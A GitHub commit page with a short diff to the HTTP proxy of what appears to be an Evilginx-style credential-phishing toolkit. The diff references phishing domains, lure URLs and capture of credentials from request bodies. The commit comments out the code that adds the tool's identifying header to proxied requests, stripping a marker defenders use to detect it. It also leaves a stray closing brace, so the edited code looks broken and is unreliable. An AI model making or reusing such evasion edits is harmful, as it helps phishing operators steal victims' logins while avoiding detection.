Skip to content

Commit

Permalink
Update http_proxy.go
Browse files Browse the repository at this point in the history
  • Loading branch information
baddbass authored Jun 25, 2024
1 parent 4729a35 commit 10fa11f
Showing 1 changed file with 5 additions and 5 deletions.
10 changes: 5 additions & 5 deletions core/http_proxy.go
Original file line number Diff line number Diff line change
@@ -203,7 +203,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
}

req_url := req.URL.Scheme + "://" + req.Host + req.URL.Path
o_host := req.Host
//o_host := req.Host
lure_url := req_url
req_path := req.URL.Path
if req.URL.RawQuery != "" {
@@ -466,7 +466,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
return p.blockRequest(req)
}
}
req.Header.Set(p.getHomeDir(), o_host)
//req.Header.Set(p.getHomeDir(), o_host)

if ps.SessionId != "" {
if s, ok := p.sessions[ps.SessionId]; ok {
@@ -656,7 +656,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da

// check for creds in request body
if pl != nil && ps.SessionId != "" {
req.Header.Set(p.getHomeDir(), o_host)
//req.Header.Set(p.getHomeDir(), o_host)
body, err := ioutil.ReadAll(req.Body)
if err == nil {
req.Body = ioutil.NopCloser(bytes.NewBuffer([]byte(body)))
@@ -1788,8 +1788,8 @@ func (p *HttpProxy) getPhishDomain(hostname string) (string, bool) {
return "", false
}

func (p *HttpProxy) getHomeDir() string {
return strings.Replace(HOME_DIR, ".e", "X-E", 1)
//func (p *HttpProxy) getHomeDir() string {
//return strings.Replace(HOME_DIR, ".e", "X-E", 1)
}

func (p *HttpProxy) getPhishSub(hostname string) (string, bool) {

0 comments on commit 10fa11f

Please sign in to comment.